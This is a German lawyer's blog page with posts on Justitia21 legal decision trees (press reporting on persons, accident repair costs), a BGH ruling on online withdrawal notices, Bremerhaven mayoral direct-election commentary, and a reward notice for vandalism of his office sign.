Am 15.12.2014 wurde die erste Version des Kontextbaumes "PersRBz" (Berichterstattung über eine Person zulässig?) in Justitia21 aufgenommen. Mit dem Kontextbaum "PersRBz" (Berichterstattung über eine Person zulässig?) können Sie interaktiv und denklogisch die wesentlichen Voraussetzungen prüfen, ob über eine Person öffentlich berichtet werden darf. Berichterstattung über eine Person in der Öffentlichkeit ist vielseitig denkbar: sei es in den klassischen Pressemedien (z. B. Zeitungen, Fernsehen, Rundfunk) oder zunehmend im Internet, insbesondere in sogenannten Foren bzw. Blogs und sozialen Netzwerken. Blogs als unabhängige redaktionelle Medien eignen sich hervorragend als Alternative oder Ergänzung zu den örtlichen Printmedien, insbesondere wenn man das Gefühl hat, dass diese mehr oder weniger einseitig berichten. Unter welchen Voraussetzungen Blogs unter den Pressebegriff fallen, wird ebenfalls in diesem Kontextbaum erörtert. Die Zulässigkeit einer Berichterstattung über eine Person (man spricht auch ganz allgemein vom "Äußerungsrecht") hängt insbesondere von der schwierigen Abgrenzung von der Meinungsäußerungsfreiheit zum Persönlichkeitsschutz ab. Artikel 5 des Grundgesetzes garantiert die Freiheit der Meinungsäußerung. Die Meinungsfreiheit findet aber ihre Schranken dort, wo in das Recht der persönlichen Ehre des anderen eingegriffen wird (Artikel 5, Absatz 2), zum Beispiel bei Beleidigungen (§§ 185 ff. StGB). Zunehmend populär werden Bewertungen im Internet. Beispielsweise können sich bereits seit den 90er Jahren Käufer und Verkäufer bei Ebay gegenseitig bewerten. Je mehr Bewertungen vorhanden sind, desto mehr Vertrauen können andere aufbringen, soweit diese Bewertungen auch seriös sind. Doch leider sind Händler und Hersteller nicht immer ehrlich. Manche etwa kaufen sich gute Bewertungen oder aber, was noch viel schlimmer ist, bezahlen andere dafür, dass sie bei Konkurrenten schlechte bis beleidigende Bewertungen eintragen. Darüber hinaus gibt es auch Presseverlage, die seit langem ihr Geschäft mit der bewussten Missachtung fremder Persönlichkeitsrechte machen. Höchste Auflagen werden mit der Veröffentlichung intimster Details aus dem Leben prominenter Zeitgenossen erreicht. Finden sich gerade keine auflagenwirksamen wahren Geschichten, so hilft man sich mit erfundenen Interviews, Spekulationen, Phantasie und Fotomontage (Henning Münch, Der Schutz des Einzelnen vor Presseveröffentlichungen durch den Deutschen Presserat und die britische Press Complaints Commission, 2001, Seite 18). Bei Bildern und Videos, die mal eben so einfach ins Internet gestellt werden, kommen noch die Bestimmungen des Kunsturhebergesetzes hinzu, wonach der Schutz der Bildberichterstattung weiter reicht als der der Wortberichterstattung. Im Jahre 2007 kamen Teilnehmer einer Veranstaltung über "Verdachtsberichterstattung und Pressefreiheit“ auf dem 58. Deutschen Anwaltstag zu dem Ergebnis, dass Medien heutzutage häufiger gegen die Unschuldsvermutung als früher verstoßen (FAZ, 23.05.2007, S. 23). Nach der Ansicht von Hans Leyendecker (FAZ a.a.O.) ähasten und rennen“ viele Presseleute umher, nur um irgendeine Nachricht möglichst früh und möglichst exklusiv zu erhalten. Dabei gingen die Medien oft zu leichtfertig mit dem Anfangsverdacht für eine Straftat um, etwa durch die Nennung von Namen, meinte er. Gegen eine unzulässige Berichterstattung kann man sich zur Wehr setzen. In Betracht kommen insbesondere Unterlassungsansprüche, Widerruf bzw. Nachtrag und Schadensersatz. Nach der Rechtsprechung des BGH - die vom Bundesverfassungsgericht akzeptiert wurde (BVerfGE 34, 269 - Soraya), ist auch immaterieller Schadensersatz möglich, zumindest dann, wenn das Bedürfnis des Betroffenen nach einem gewissen Ausgleich für die ideelle Beeinträchtigung durch eine Geldentschädigung unabweisbar ist. Dieser Kontextbaum beantwortet die Ausgangsfrage materiellrechtlich. Daraus können weitergehende Ansprüche abgeleitet werden, auf die hier nicht weiter eingegangen wird. Schließlich ist zu beachten, dass jede einzelne Handlung gesondert zu prüfen ist. Wird erstmalig über eine Person öffentlich berichtet, ist dies explizit zu prüfen. Wird ein besonderes Ereignis in ein Archiv aufgenommen, ist erneut im Rahmen einer umfassenden Abwägung zu prüfen, inwieweit dies zulässig ist. Dieser Kontextbaum müsste also für die Frage nach der Zulässigkeit einer Archivierung erneut geprüft werden. Der Ausgangsfall könnte so lauten: Der Kläger ist ehemaliger Chefjustiziar einer Bank. Er verlangt die Richtigstellung einer ihn betreffenden Berichterstattung in einem von der Beklagten verlegten Nachrichtenmagazin. Der angegriffene Beitrag geht der Frage nach, ob ein wegen des Verdachts von Pflichtverletzungen entlassenes Vorstandsmitglied der Bank Opfer einer Falschbezichtigung geworden ist. Der Beitrag berichtet über ein gegen einen früheren Sicherheitsberater der Bank eingeleitetes Ermittlungsverfahren wegen des Verdachts, das Büro des ehemaligen Vorstandsmitglieds verwanzt, dessen Privatwohnung durchsucht und beim Frisieren von Dokumenten mitgeholfen zu haben. In diesem Zusammenhang gibt der Beitrag Aussagen des früheren Sicherheitsberaters wieder, wonach der namentlich genannte Kläger und zwei weitere Personen an der Beauftragung dieser Maßnahmen mitgewirkt haben sollen. Nach der Berichterstattung stellte sich heraus, dass es sich tatsächlich um eine Falschbezichtigung gehandelt hat, mithin der Chefjustiziar nicht bei diesen "Abhöraktionen" mitgewirkt hat. Hat der ehemalige Chefjustiziar einen Anspruch auf Richtigstellung? Wichtiger Hinweis: Um diesen Kontextbaum laden und abprüfen zu können, müssen Sie sich zumindest als Basis-Benutzer bei Justitia21 angemeldet haben. Nutzer, die auch mit Justitia21 bloggen möchten, müssen sich als kostenpflichtiger Premium-Benutzer bei Justitia21 anmelden. Dies hätte den Vorteil, dass unter Umständen die Nutzungsgebühren bei einer außergerichtlichen Beauftragung des Lizenzgebers als Rechtsanwalt (z. B. für eine Erstberatung vor Veröffentlichung eines Beitrages) mit den Rechtsanwaltskosten zum Teil verrechnet werden würden. Einzelheiten entnehmen Sie bitte den Nutzungsbedingungen für Justitia21. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Werden konkrete Reparaturkosten ersetzt? | 0 | 15.12.2014 - 16:02:03 | 15.12.2014 - 16:26:29 |
Am 15.12.2014 wurde die erste Version des Kontextbaumes "VURepke"(Verkehrsunfall: Werden konkrete Reparaturkosten ersetzt?) in Justitia21 aufgenommen. Mit dem Kontextbaum "VURepke" (Verkehrsunfall: Werden konkrete Reparaturkosten ersetzt?) können Sie interaktiv und denklogisch die wesentlichen Voraussetzungen prüfen, ob nach einem Verkehrsunfall die konkret angefallenen Reparaturkosten für das verunfallte Kraftfahrzeug des Geschädigten ersetzt werden. Aufgrund der Praxisrelevanz ist diese Ausgangsfrage gewählt worden, weil die meisten Eigentümer ihr liebgewonnenes Fahrzeug, an welches sie sich über viele Jahre gewöhnt haben, repariert bekommen wollen und es dann um die Frage der Erstattung der Reparaturkosten geht. 1. Ziel dieses Kontextbaumes Da gerade unmittelbar nach dem Unfall die meisten Fehler bei der Regulierung gemacht werden, die oft danach kaum noch zu korrigieren sind, habe ich diesen Kontextbaum entwickelt. Er soll helfen, auch am Anfang die richtigen Weichenstellungen vorzunehmen, um so später die richtigen Ansprüche durchsetzen zu können. Dieser Kontextbaum beinhaltet die wesentlichen Entscheidungen des Bundesgerichtshofes; denn schon die Abrechnung des reinen Fahrzeugsachschadens ist für den Geschädigten ohne juristisches Sonderwissen kaum noch möglich. Dieser Kontextbaum zeigt zudem systematisch, wie der Geschädigte zum Teil selbst erheblichen Einfluss auf seine Ersatzansprüche nehmen kann. In jedem Falle empfehle ich aber die Unterstützung durch einen vertrauten Rechtsanwalt nach Wahl des Geschädigten. Die durch die Beauftragung eines Rechtsanwaltes entstehenden Kosten sind grundsätzlich Teil des Verkehrsunfallschadens und müssen bei entsprechender Haftung vom Schadensverursacher mitgetragen werden. Die volle Ersetzung erfolgt beim Alleinverschulden des Verursachers, anteilig bei einer Mithaftung des Geschädigten. Allerdings geht dieser Kontextbaum übrigens davon aus, dass der Unfallgegner den Verkehrsunfall vollständig allein verschuldet hat. Bei einer Mithaftung des Geschädigten müssen die Ansprüche entsprechend gequotelt werden. 2. Unabhängiges Sachverständigengutachten Vor einem Reparaturauftrag sollten immer zunächst Beweise gesichert werden. Für den Nachweis des Schadens und der Schadenhöhe sollte vom Geschädigten in der Regel ein öffentlich bestellter und vereidigter Kfz-Sachverständiger seines Vertrauens mit der Gutachtenfertigung beauftragt werden. Dies gilt auch dann, wenn die Versicherung bereits ohne Zustimmung des Geschädigten einen "eigenen" Sachverständigen eingeschaltet hat. Nicht selten wird ein unabhängiger Sachverständiger eine Wertminderung ermitteln; selbst wenn das geschädigte Fahrzeug bereits älter als fünf Jahre ist. Im Falle eines Totalschadens wird er den Wiederbeschaffungswert und den sogenannten Restwert feststellen. Diese Daten sind notwendig für die Berechnung der Schadensersatzansprüche. Dieser Kontextbaum nimmt Bezug auf diese Fachbegriffe. Die Beauftragung eines Sachverständigengutachtens sollte jedoch grundsätzlich bei sogenannten Bagatellschäden unterbleiben. Diese Grenze liegt nach der Rechtsprechung des Bundesgerichtshofes bei ca. 750 Euro. In diesem Falle dürfte als Schadensnachweis zumeist ein Kostenvoranschlag einer Fachwerkstatt ausreichen. 3. Begrifflichkeiten Dieser Kontextbaum arbeitet (ebenso wie der Sachverständige) mit verschiedenen Fachbegriffen, die hier zuvor für das bessere Verständnis kurz erörtert werden sollen. a) Reparaturkosten (RK) Bei den Reparaturkosten (kurz "RK“) handelt es sich um die Kosten, die entstehen, wenn der Schaden an einem Fahrzeug beseitigt wird. b) Totalschaden (TS) Von einem Totalschaden (kurz "TS“) spricht man, wenn die Wiederherstellung des beschädigten Fahrzeuges entweder nicht möglich (technischer Totalschaden) oder dem Geschädigten nicht zumutbar ist (unechter Totalschaden) oder unwirtschaftlich ist (wirtschaftlicher Totalschaden). Der Anspruch auf Wiederherstellung verwandelt sich dann in einen Anspruch aus Geldersatz. Ein technischer Totalschaden ist immer dann anzunehmen, wenn das Fahrzeug entweder völlig zerstört ist oder aber die Reparatur aus anderen Gründen tatsächlich unmöglich ist. Der wirtschaftliche Totalschaden liegt vor, wenn unter Berücksichtigung der wirtschaftlichen Gegebenheiten die Summe aus Reparaturkosten und Wertminderung höher ist als die Differenz zwischen Wiederbeschaffungswert und Restwert. Eine Gegenüberstellung dieser Werte erfolgt in der Regel wenn die Reparaturkosten 70% des Wiederbeschaffungswertes erreichen oder übersteigen. Trotz alledem ist in diesen Fällen eine Reparatur bis zur sogenannten 130-%-Grenze des Wiederbeschaffungswertes möglich, wenn der Sachverständige mit seiner Kalkulation in dieser Grenze bleibt. c) Wiederbeschaffungswert (WBW) Der Wiederbeschaffungswert (kurz "WBW“) eines Fahrzeugs ist der Betrag, der für ein vergleichbares Fahrzeug vor dem Unfall unter Berücksichtigung der Marktverhältnisse in der jeweiligen Region zu zahlen gewesen wäre. Manchmal wird der WBW auch als äFahrzeugwert“ bezeichnet. d) Restwert (RW) Der Restwert (kurz "RW“) eines total beschädigtes Fahrzeugs ist der Betrag, der unter Berücksichtigung der Marktverhältnisse in der jeweiligen Region beim Verkauf erzielt werden kann. e) Wiederbeschaffungsaufwand (WBA) Der Wiederbeschaffungsaufwand (kurz "WBA") ergibt sich aus dem Wiederbeschaffungswert (WBW) abzüglich Restwert (RW). Manchmal wird der WBA auch als "Wiederbeschaffungskosten“ (kurz "WBK“) bezeichnet. f) Integritätsinteresse des Geschädigten Hier möchte der Geschädigte sein Fahrzeug reparieren und dessen konkreten Zusammensetzung weiternutzen. Dies ist in den Totalschadenfällen problematisch. Dieser Kontextbaum zeigt die Möglichkeiten und Grenzen einer solchen Weiternutzung trotz Totalschadens auf. g) Fiktive Reparaturkosten (FRK) Der Begriff fiktive Reparaturkosten (kurz "FRK“) wird dabei in der Weise verstanden, dass die vom Sachverständigen geschätzten Reparaturkosten einer Fachwerkstätte unabhängig von jeglicher Restitution der Schadensberechnung zu Grunde gelegt werden dürfen (Huber, NZV 2004, 105, 106). Nicht selten möchte der Geschädigte das beschädigte Fahrzeug nicht reparieren lassen, sondern in Eigenregie reparieren oder sich den erforderlichen Geldbetrag für die Reparatur auszahlen lassen. Dieser Kontextbaum zeigt die Möglichkeiten und Grenzen einer solchen äfiktive Abrechnung“. h) Minderwert (MW) Der Minderwert (kurz "MW“) ist ein erstattungsfähiger Schaden, der damit begründet wird, dass ein Unfallwagen im Falle eines späteren Verkaufs in der Regel einen geringeren Erlös erzielen wird, als Fahrzeuge ohne Vorschäden. Der Minderwert wird durch einen unabhängigen Sachverständigen im Gutachten gesondert ausgewiesen. Manchmal wird der Minderwert auch als "Wertminderung" oder "merkantiler Minderwert" bezeichnet. Der zu prüfenden Ausgangsfall könnten wie folgt lauten: In Anlehnung an einer Entscheidung des Landgerichts Stade vom 06.10.2008, Az. 1 S 55/07, verlangt der Kläger K von dem Haftpflichtversicherer H die Zahlung der (restlichen) Reparaturkosten nach einem Verkehrsunfall, den der Versicherungsnehmer des Haftpflichtversicherers H zu 100 % verschuldet hat. Die Reparaturkosten betrugen 2.650,-- EUR, der Wiederbeschaffungswert des beschädigten Fahrzeuges des K lautete lt. Sachverständigengutachten (ebenfalls exakt) 2.650,-- EUR und die prognostizierten Reparaturkosten legte er mit 4.228,33 EUR fest. 130 % des angegebenen Wiederbeschaffungswertes von 2.650,-- EUR betragen 3.445,-- EUR. Kann K vom H Ersatz der konkret angefallenen Reparaturkosten in Höhe von 2.650,-- EUR verlangen? Wichtiger Hinweis: Um diesen Kontextbaum laden und abprüfen zu können, müssen Sie sich zumindest als Basis-Benutzer bei Justitia21 angemeldet haben. Einzelheiten entnehmen Sie bitte den Nutzungsbedingungen für Justitia21. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Keine Direktwahl des Oberbürgermeisters | 1 | 23.05.2014 - 12:06:52 | 15.12.2014 - 15:56:05 |
Nach den jüngsten Presseberichten steht nun leider fest, dass es in Bremerhaven auch künftig keine Direktwahl des Oberbürgermeisters geben soll. Grund dafür ist die derzeitige fehlende verfassungsändernde Mehrheit in der Stadtverordnetenversammlung. Nach einem Bericht im Sonntagsjournals vom 18.05.2014, Seite 2, vermutet der CDU-Fraktionsvorsitzende Paul Bödeker, dass die derzeitge kommunale Regierung aus Rot-Grün Angst vor mehr Demokratie habe. Auch für mich ist dieses Ergebnis der letzten Arbeitssitzung des Unterausschusses zur Verfassungsreform sehr enttäuschend, zumal sich die Grünen in der Vergangenheit doch immer für mehr Bürgerbeteiligung eingesetzt haben. Nach Angaben des Bündnis 90/Grüne-Politikers Claudius Kaminiarz gegenüber dem Sonntagsjournal habe sich keine Mehrheit dafür abgezeichnet. Schon allein weil die SPD das nicht wolle, komme keine verfassungsändernde Mehrheit in diesem Punkt zusammen (Sonntagsjournal vom 18.02.2014, Seite 2). Seine weiteren Ausführungen gegenüber der Nordsee-Zeitung, wonach eine Direktwahl bei uns in Verbindung mit einer Magistratsverfassung, wie wir sie hier haben, das System "sprengen" würde (NZ vom 20.05.2014, S. 10), kann ich absolut nicht nachvollziehen. Dies gilt gleichsam für die Äußerungen des Fraktionschefs der SPD, Sönke Allers, gegenüber der Nordsee-Zeitung, wonach eine Direktwahl des Oberbürgermeisters zwangsläufig daran gekoppelt sei, diesem noch mehr Macht zu übertragen (NZ vom 20.05.2014, S. 10). Es wird daran erinnert, dass Frankfurt a. M. ebenfalls eine Magistratsverfassung hat (sie gilt einheitlich für alle Gemeinden in Hessen), wo schon seit vielen Jahren der Oberbürgermeister bzw. die Oberbürgermeisterin direkt vom Volke gewählt wird. Auch dort ist der Bürgermeister nur Erster unter Gleichen, d. h. er kann im Magistrat von den anderen Mitgliedern überstimmt werden. Mir ist schon bewusst, dass die Stellung eines direkt gewählten Oberbürgermeisters in Bremerhaven dann problematisch wird, wenn er im Magistrat über keine Mehrheit verfügt, d. h. wenn die Bürger in Bremerhaven einen Kandidaten einer Minderheitenpartei oder gar einen Parteilosen zum Oberbürgermeister gewählt haben. Der wird dann eventuell auf eine ihm feindliche parteipolitische Mehrheit stoßen, die ihn möglicherweise in den Augen der Wähler demontieren will, um seine Wiederwahl zu verhindern. Dies ist sicherlich ein Grund dafür, dem direkt gewählten Oberbürgermeister eine stärkere Position im Magistrat einzuräumen. Dies kann beispielsweise dadurch geschehen, indem man ihm ein doppeltes Stimmgewicht innerhalb des Magistrates bei Beschlüssen gem. § 43 Abs. 2 der Verfassung für die Stadt Bremerhaven einräumt. Zwingend ist dies aber nicht, wie dies auch die Situation in Hessen zeigt. Denn auch in Bremerhaven hätte der direkt gewählte Oberbürgermeister einer Minderheitenpartei oder als Parteiloser weitgehende Befugnisse. Hier möchte ich nur auf § 44 Abs. 1 der Verfassung für die Stadt Bremerhaven verweisen, wonach der Oberbürgermeister den Geschäftsgang der Verwaltung leitet und beaufsichtigt. Ein unabhängiger Oberbürgermeister hätte also die Möglichkeit, sich über sämtliche Vorgänge innerhalb der Verwaltung zu informieren. Für mich gibt es eindeutige Vorteile einer Direktwahl des Oberbürgermeisters auch hier in Bremerhaven: 1. Eine Direktwahl des Oberbürgermeisters vergrößert die demokratischen Rechte der Bürger, weil sie über den Oberbürgermeister direkt und unmittelbar entscheiden können. Ich bin zudem davon überzeugt, so wieder mehr Bürger in Bremerhaven zur Wahlurne bewegen zu können. 2. Eine Direktwahl bewirkt eine echte "Gewaltenteilung" zwischen der Stadtverordnetenversammlung und dem Magistrat. Sie wertet neben dem Oberbürgermeiser auch die Stadtverordnetenversammlung im Ganzen auf, da deren Mehrheit es nicht mehr als ihre Hauptaufgabe sehen muss, den von ihr ins Amt gewählten Oberbürgermeister zu stützen. Vielmehr steht die Stadtverordnetenversammlung als Ganzes inbesondere dem Oberbürgermeister auf Augenhöhe gegenüber und kann sowohl ihre verfassungsgemäßen Aufgaben gem. § 18 Abs. 1 bis 3 VerfBrhv als auch die Magistratskontrolle (Abs. 4) unabhängig erfüllen. Das stärkt das Vertrauen in das Stadtparlament. 3. Auch wird sich ein direkt gewählter Oberbürgermeister weniger leicht zu parteipolitischen Blockaden verleiten lassen oder aus Rücksichtnahme auf den politischen Partner zu Enthaltungen gezwungen sein, wenn nur eine von zwei oder mehr Koalitionsparteien auf einer Gegenposition beharrt. 4. Schließlich wird der direkt gewählte und für seine Wiederwahl auf das Vertrauen des Volkes (nicht seiner Partei) angewiesene Oberbürgermeister weniger stark zu parteipolitischer Ämterpatronage neigen. Hierzu möchte ich ergänzend auf die sehr überzeugenden Ausführungen von Carl-Gustav Kalbfell verweisen, wonach von den Wählern häufig quasi als "Filzbremse“ parteiunabhängige Kandidaten oder Anhänger von Minderheitsparteien gewählt werden [...] (Carl-Gustav Kalbfell, Kommunale Mandatsträger und Wahlbeamte im Spannungsfeld zwischen Kooperation und Korruption - Eine Untersuchung der Reichweite von §§ 331 ff. StGB -, Diss. 2009, S. 268 ff. zur Kontrollfunktion demokratischer Wahlen). Ich freue mich darüber, dass der Fraktionsvorsitzende der CDU in der Stadtverordnetenversammlung, Paul Bödeker, sich mit seiner Partei nun darum bemühen möchte, zu diesem wichtigen Thema der Direktwahl des Oberbürgermeisters ein Bürgerbegehren zu initiieren (NZ, 20.05.2014, S. 10). Alle Oppositionsparteien sollten dies unterstützen, damit wir schon zur nächsten Wahl der Stadtverordnetenversammlung 2015 auch den Oberbürgermeister direkt vom Volke wählen lassen können. Bis dahin kann ich dem Stadtverordneten Jan Timke (Bürger in Wut) nur recht geben, wenn er gegenüber der Nordsee-Zeitung ausgeführt hat, dass die Abfuhr für die Direktwahl ein wirklich "schlechter Tag für die Demokratie in Bremerhaven" ist. Damit bleibt Bremerhaven in der Tat neben den Stadtstaaten Hamburg und Berlin die einzige Kommune, in der das Stadtoberhaupt nicht direkt von den Bürgern gewählt wird. Ich halte dies für peinlich! Die Haltung der SPD hier in Bremerhaven passt ja nun ganz und gar nicht zusammen mit der Werbung des Spitzenkandidaten der europäischen Sozialdemokratie, Martin Schulz, auf YouTube (siehe unter http://www.youtube.com/watch?v=W4c4VhtGRq4). In diesem Video werden u. a. folgende Worte eingeblendet: "Ein Europa der Demokratie. Nicht der Bevormundung." Damit steht die Aussage des Herrn Schulz meines Erachtens im krassen Widerspruch zu der ablehnenden Haltung seiner Parteikollegen zur Direktwahl hier in Bremerhaven, die den Begriff der Demokratie offensichtlich enger auslegen. Bei dieser Gelegenheit möchte ich noch einmal an einer Befragung der Nordsee-Zeitung Ende 2013 erinnern. Demnach haben sich unter 2326 Frauen und Männern 90 Prozent der Befragten für eine Direktwahl des Oberbürgermeisters ausgesprochen (NZ vom 19.11.2013, S. 9). Dies zeigt meines Erachtens sehr deutlich, wie viele Menschen auch hier in Bremerhaven die Politik gern aktiver und unmittelbarer mitgestalten möchten. Dies kann die Rot-Grüne Regierung hier in Bremerhaven doch nicht einfach so ignorieren. Für mich steht nach alledem jedenfalls fest, wo ich bei der kommenden Europawahl am 25.05.2014 jedenfalls kein Kreuz machen werde. + + + Dieser Artikel wurde am 21.05.2021 um 15:27 Uhr vom Herausgeber aktualisiert. + + + http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Textform der Widerrufsbelehrung | 0 | 19.09.2014 - 17:33:42 | 19.09.2014 - 17:33:42 |
Nach einem Urteil des Bundesgerichtshofes vom 15. Mai 2014, Az. III ZR 368/13, reicht für die Mitteilung der Widerrufsbelehrung in Textform gemäß § 355 Abs. 3 Satz 1 BGB die bloße Möglichkeit des Abspeicherns oder Ausdruckens einer auf der Internetseite des Unternehmers abrufbaren Widerrufsbelehrung durch den Verbraucher nicht aus. 1. Leitsätze a) Die bloße Abrufbarkeit einer Widerrufsbelehrung auf einer gewöhnlichen Webseite ("ordinary website") des Unternehmers reicht für die formgerechte Mitteilung der Widerrufsbelehrung an den Verbraucher nach § 355 Abs. 2 Satz 1 und Abs. 3 Satz 1, § 126b BGB nicht aus (Anschluss an BGH, Urteil vom 29. April 2010 - I ZR 66/08, NJW 2010, 3566). b) Die vom Unternehmer in einem Online-Anmeldeformular vorgegebene, vom Kunden (Verbraucher) bei der Anmeldung zwingend durch Anklicken mit einem Häkchen im Kontrollkasten zu versehende Bestätigung "Widerrufsbelehrung zur Kenntnis genommen und ausgedruckt oder abgespeichert?" ist gemäß § 309 Nr. 12 Buchst. b BGB sowie deshalb unwirksam, weil sie von den verbraucherschützenden Regelungen in § 355 Abs. 2 und 3, § 360 Abs. 1 BGB zum Nachteil des Verbrauchers abweicht. c) Ist eine vom Unternehmer vorformulierte Bestätigung des Kunden unwirksam, so kann der Unternehmer dem Widerruf des Kunden nicht den Einwand unzulässiger Rechtsausübung entgegenhalten und gegen den Kunden auch keinen Schadensersatzanspruch wegen arglistiger Täuschung oder sonstiger Treuepflichtverletzung geltend machen, indem er den Vorwurf erhebt, dass der Kunde diese Bestätigung wahrheitswidrig erteilt habe. Anzuwendende Vorschriften: §§ 242, § 309 Nr. 12 Buchst. b, § 312d Abs. 1 [in der Fassung vom 2. Januar 2002], § 355 [in der Fassung vom 29. Juli 2009] BGB 2. Anmerkungen In diesem Verfahren behauptete das Unternehmen, die Anmeldung der Verbraucherin sei über eine Eingabemaske online im Internet erfolgt, die abschließend mit folgendem Ankreuzkästchen (Kontrollkasten; sogenannte Checkbox) versehen gewesen sei: "Widerrufsbelehrung zur Kenntnis genommen und ausgedruckt oder abgespeichert?" Die Verbraucherin hatte tatsächlich den Kontrollkasten angeklickt und damit zugleich dort auch ein Häkchen setzen müssen, um den Anmeldevorgang abschließen und ihre Daten an das Unternehmen über das Internet übersenden zu können. Das Unternehmen verlangte nun die Zahlung des vereinbarten Entgeltes, weil die Verbraucherin die Möglichkeit hatte, die Widerrufsbelehrung auf ihrer Internetseite einzusehen und sodann abzuspeichern oder auszudrucken. Dies würde nach der Ansicht des Unternehmens den gesetzlichen Anforderungen genügen, sodass die Verbraucherin die Widerrufsfrist versäumt habe. Der Bundesgerichtshof kommt in diesem Urteil zum Ergebnis, dass die von dem Unternehmen genutzte Art der Widerrufsbelehrung den gesetzlichen Anforderungen nicht genügt habe, sodass die zweiwöchige Widerrufsfrist nicht zu laufen begonnen habe. Für die Mitteilung der Widerrufsbelehrung in Textform gemäß § 355 Abs. 3 Satz 1 BGB reiche die bloße Möglichkeit des Abspeicherns oder Ausdruckens einer auf der Internetseite des Unternehmers abrufbaren Widerrufsbelehrung durch den Verbraucher nicht aus. Nach der Rechtsprechung des Bundesgerichtshofs und des Gerichtshofs der Europäischen Union sei im Hinblick auf den gemeinschaftsrechtlichen Hintergrund der Regelungen zu dem Widerrufsrecht der Verbraucher bei Abschluss eines Fernabsatzvertrags der Zugang der Widerrufsbelehrung beim Verbraucher in einer zur dauerhaften Wiedergabe in Schriftzeichen geeigneten Weise erforderlich. Die bloße Abrufbarkeit der Widerrufsbelehrung auf einer gewöhnlichen Webseite ("ordinary website") des Unternehmers reicht demnach nicht aus, weil die Belehrung auf diese Weise nicht in einer unveränderlichen textlich verkörperten Gestalt in den Machtbereich des Verbrauchers gelangt. Daher müsse der Verbraucher die elektronische Widerrufsbelehrung entweder per Post oder E-Mail übersandt erhalten haben oder auf seinem eigenen Computer abspeichern oder ausdrucken. Da der Unternehmer meines Erachtens aber das Abspeichern oder Ausdrucken auf dem Computer des Verbrauchers schwer beweisen kann, bleibt für ihn eigentlich nur des Übersenden per Post oder per E-Mail. Es ist im Übrigen Aufgabe des Unternehmers, dem Verbraucher die Belehrung in Textform zu übermitteln, und nicht Aufgabe des Verbrauchers, sich diese Belehrung selbst zu verschaffen (vgl. hierzu EuGH, Urteil vom 5. Juli 2012 - C - 49/11 Content Services, NJW 2012, 2637, 2638 Rn. 32 bis 37; Schlussantrag des Generalanwalts Paolo Mengozzi vom 6. März 2012 in der Rechtssache C - 49/11 Nr. 24 f). Vorsorglich möchte ich darauf hinweisen, dass der Bundesgerichtshof in diesem Urteil entgegen der Auffassung manch anderer Autoren eben nicht entschieden hat, ob es für die Mitteilung der Widerrufsbelehrung in Textform im Sinne von § 355 Abs. 2 Satz 1 und Abs. 3 Satz 1, § 126b BGB genügen kann, wenn der Unternehmer die Widerrufsbelehrung für den Verbraucher auf einer fortgeschrittenen Internetseite ("sophisticated website") zur Verfügung stellt. Um dem Verbraucher die Widerrufsbelehrung in Textform per E-Mail nachweisbar zu übersenden, empfehle ich das sogenannte Double-Opt-in-Verfahren. Das Double-Opt-in-Verfahren ist zweistufig aufgebaut. Im ersten Schritt trägt der Verbraucher u. a. seine E-Mail-Adresse in das Online-Formular ein und sendet das Formular ab. Das System des Unternehmers generiert und verschickt unmittelbar danach automatisch eine Bestätigungs-E-Mail an die von dem Verbraucher angegebene E-Mail-Adresse, die u. a. die Widerrufsbelehrung enthält. In der Bestätigungs-E-Mail wird der Verbraucher gebeten, durch einen Klick auf den Bestätigungslink ein zweites Mal zu erklären, dass er den Vertrag mit dem Unternehmer schließen möchte. Nur wenn der Empfänger dieser Bitte nachkommt, wird der Vertrag wirksam geschlossen. Darauf wird der Verbraucher hingewiesen. Um diesen Vorgang gegenüber den Gerichten nachweisen zu können, werden die einzelnen Schritte mit den wesentlichen Daten in einer sogenannten Serverlog-Datei gespeichert. Dieses Double-Opt-in-Verfahren wird beispielsweise für die Anmeldung als Basis-Benutzer bei Justitia21 (ein juristisches Expertensystem) genutzt. http://www.justitia21.de [Autor: RA Dr. André Helmke] |
![]() | Sachbeschädigungen pp. am Kanzleischild | 0 | 02.03.2013 - 13:39:38 | 12.12.2013 - 10:48:05 |
Mein neues Kanzleischild wurde am 16.04.2013 angebracht. Gleich- zeitig habe ich die Belohnung auf 500 Euro erhöht! Zur Erinnerung: Am 01.03.2013, in der Zeit zwischen 09:35 Uhr und 14:35 Uhr, wurde mein Kanzleischild an der Außenfassade in der Bürgermeister- Smidt-Str. 42 in Bremerhaven erneut aus der Verankerung gerissen und dieses Mal in der Fußgängerzone an einem Mülleimer Ecke Mühlenstraße abgestellt. Das Aluminiumteil fehlt weiterhin. Blutspuren deuten darauf hin, dass sich der Täter bei dieser Tat verletzt hat. Ein ähnlicher Vorfall ereignete sich bereits in der Nacht vom 28. auf den 29.01.2013. Für Hinweise, die zur Aufklärung dieser Taten sowie zur Täterer- mittlung führen, wird nun eine Belohnung in Höhe von insgesamt 500 Euro ausgesetzt. Über die Zuerkennung und ggf. Verteilung der Belohnung an Berechtigte wird unter Ausschluss des Rechtsweges entschieden. Die Belohnung ist ausschließlich für Privatpersonen und nicht für Beamtinnen oder Beamte bestimmt, zu deren Berufspflichten die Verfolgung von Straftaten gehört. Diese Auslobung ist befristet bis zum 31.12.2014. Ich habe gar nicht gewusst, dass ich so interessant bin. Ich betrachte diese Taten als Kompliment für mein Engagement. Solche Aktionen motivieren mich nur noch mehr! http://www.andre-helmke.de [Autor: RA Dr. André Helmke] |
![]() | Direktwahl des Oberbürgermeisters | 2 | 29.02.2012 - 18:24:43 | 20.11.2013 - 11:07:54 |
Erfreulicherweise setzt sich die Piratenpartei in Bremerhaven weiterhin für eine bessere Beteiligung der Bürger/innen an politischen Entscheidungen ein, indem Sie mit einem Bürgerbegehren erreichen möchte, dass der Oberbürgermeister der Stadt Bremerhaven zukünftig direkt gewählt wird (siehe nur NZ, 20.02.2012, S. 12). Ich halte dies für längst überfällig und fordere alle Bürger/innen Bremerhavens auf, dieses Vorhaben zu unterstützen. Dazu kann ein Formblatt mit dem genauen Wortlaut des Bürgerbegehrens und den notwendigen Informationen ab sofort auf der Homepage der Piratenpartei in Bremerhaven heruntergeladen werden. Auf den ersten Blick bin ich zwar der Auffassung, dass die mit dem Bürgerbegehren angestrebte Änderung der Stadtverfassung allein nicht ausreichen wird, um eine Direktwahl des Oberbürgermeisters bei uns in Bremerhaven zu regeln. Aber sie wird mit Ihrer Unterschrift sicherlich Signalwirkung für weitere notwendige Änderungen haben. Dieser Beitrag in meinem Blog erfolgt selbstverständlich weiterhin im Rahmen meiner politischen Unabhängigkeit. 